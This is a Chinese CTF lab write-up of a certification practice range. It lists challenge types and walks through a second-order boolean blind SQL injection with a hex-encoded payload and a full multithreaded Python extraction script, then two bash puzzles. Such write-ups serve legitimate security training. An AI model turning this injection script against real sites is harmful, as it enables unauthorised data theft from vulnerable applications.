记某个认证小靶场

渗透技巧 2年前 (2022) admin
692 0 0

因为绝大部分非常简单,在我的公众号前期文章中就能找到答案,所以这里大部分题型都只给出题目,这些你会做还是不会做看题目基本就知道了。

CSRF之钓鱼修改管理员密码。

SSRF之dict协议操作redis写webshell。

XXE之java oob,excel xxe oob。

SQL注入之数字型,字符型,盲注,orderby注入,limit注入,宽字节注入,二次注入+报错注入,注入写webshell。

fastjson之1.2.24反序列化。

struts2之S2-052

ghostscript之CVE-2018-19475。


这其中唯一有点难度的是二次注入+布尔盲注。


一、二次注入+布尔盲注


首先它是个二次注入,注入点在注册用户的年龄选项中,如果你注册一个用户比如admin/18,登录之后会显示,登录成功,存在1个和你同龄的人(即你自己)。

再注册一个test/18,登录之后会显示,登录成功,存在2个和你同龄的人(admin和test)。

这个注入点还做过处理,只能通过hex注入,比如注册一个qqq/123′用户不行的。可以注册一个qqq/0x313827616E6420313D2731,登录之后会显示,登录成功,存在3个和你同龄的人。

因为0x313827616E6420313D2731即18’and 1=’1。

如果注册www/0x313827(即18′)用户会怎么样呢?依旧注册成功,但登录时会提示,错误。但没有mysql的报错信息。


也就是说,这是一个二次注入+布尔盲注的点,需要注册非常多的账号去爆破。而且与之前可以靠burp,sqlmap,手工注入不同,这一题必须要自写注入脚本才行,对于不常写SQL注入脚本的人来说,这关的难度非常大。

我们先要构造出一个可以判断user()的布尔盲注语句。

'and (case when ascii(substr((select flag from lession11.flag limit 0,1),1,1)) > 49 then 666 else exp(99999999end)='1

hex后如下。

0x27616e64202863617365207768656e20617363696928737562737472282873656c65637420666c61672066726f6d206c657373696f6e31312e666c6167206c696d697420302c31292c312c312929203e203439207468656e2036363620656c7365206578702839393939393939392920656e64293d2731

然后写出盲注脚本,这里我是改的几年前我刚学python时写的脚本。

#coding=UTF-8import requestsimport threadingimport binascii
url = 'http://2.2.2.2:57747/sqli11.php'header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "keep-alive" }cookie = {"PHPSESSID":"djlqt7gufke48ivqpeskh6gso5"}payload = 'select flag from lession11.flag limit 0,1'
flag = 0user = 'sonomon'userp = 0
def char2hex(data): data = data.encode() output = binascii.hexlify(data) output = output.decode() return output
def boolsql(users): data = {"username":users,"passwd":users,"realname":"","age":""} r = requests.post(url,cookies=cookie,data=data,headers=header,allow_redirects=False) if '登录成功' in r.text: return 1 else: return 0 def sql(i,s): global userp userp = userp+1 users = user+str(userp) hexpayload1 = "'and (case when ascii(substr(length(("+payload+")),"+str(i)+",1)) > "+str(s)+" then 666 else exp(99999999) end)='1" hexpayload2 = "'and (case when ascii(substr(("+payload+"),"+str(i)+",1)) > "+str(s)+" then 666 else exp(99999999) end)='1" hexpayload3 = "0x"+char2hex(hexpayload1) hexpayload4 = "0x"+char2hex(hexpayload2) if flag == 0: data = {"age":hexpayload3,"username":users,"passwd":users,"realname":users} else: data = {"age":hexpayload4,"username":users,"passwd":users,"realname":users} r = requests.post(url,cookies=cookie,data=data,headers=header,allow_redirects=False) return boolsql(users)
ss = {}def search(a,b,i): global ss c = int((a+b)/2) text = sql(i,c) if (b-a) == 1 : ss[i]=chr(b) else: if text == 0 : a = a b = c search(a,b,i) else: a = c b = b search(a,b,i)
def thread(size): name = [] threads = 5 for ii in range(0,int(size/threads)+1): for i in range(ii*threads+1,ii*threads+1+threads): if i > size: break th = threading.Thread(target=search, args=(31,127,i)) name.append(th) th.start() for th in name: th.join()
ssl = ''sss = ''size = 5def length(): global ssl global sss global flag global size if flag == 0 : thread(size) for i in sorted(ss): ssl += ss[i] size = int(ssl.replace(chr(32),'')) print('length : '+ssl.replace(chr(32),'')) flag = 1 length() else: thread(size) for i in sorted(ss): sss += ss[i] print(sss)length()

最终效果如下。

记某个认证小靶场



二、Linux基础-bash第一题

还有两题比较有意思也比较简单的misc题。

提示如下。

下一关的解压密码保存在password目录下的某个文件中,而且据说密码中只包含了1个数字。

ls一下。

记某个认证小靶场

是一些linux命令行使用了的符号当作了文件名,其中其他都可以加上单引号或者双引号cat出来,只有-这个不行,不过可以cp。

记某个认证小靶场


三、Linux基础-bash第二题

存在一个flag.gz,解压后变成bzip,再解压还是bzip,需要不断解压多次,每次随机为两种压缩格式。就是一个套娃压缩文件,需要写bash脚本来进行解压。

str=`file flag`bzip="bzip"gzip="gzip"if [[ "$str" =~ $bzip ]]then    echo "$str"    `mv flag flag.bz2`    `bunzip2 flag.bz2`elif [[ "$str" =~ $gzip ]]then    echo "$str"    `mv flag flag.gz`    `gunzip flag.gz`else    echo "aaa"fi

sh 1.sh如果报错运行dpkg-reconfigure dash,选no

记某个认证小靶场

最后手动for循环一下for i in {1..300};do sh 1.sh;done

记某个认证小靶场

全部都是aaa之后获取正确flag

记某个认证小靶场


原文始发于微信公众号(珂技知识分享):记某个认证小靶场

版权声明:admin 发表于 2022年8月12日 下午3:15。
转载请注明:记某个认证小靶场 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...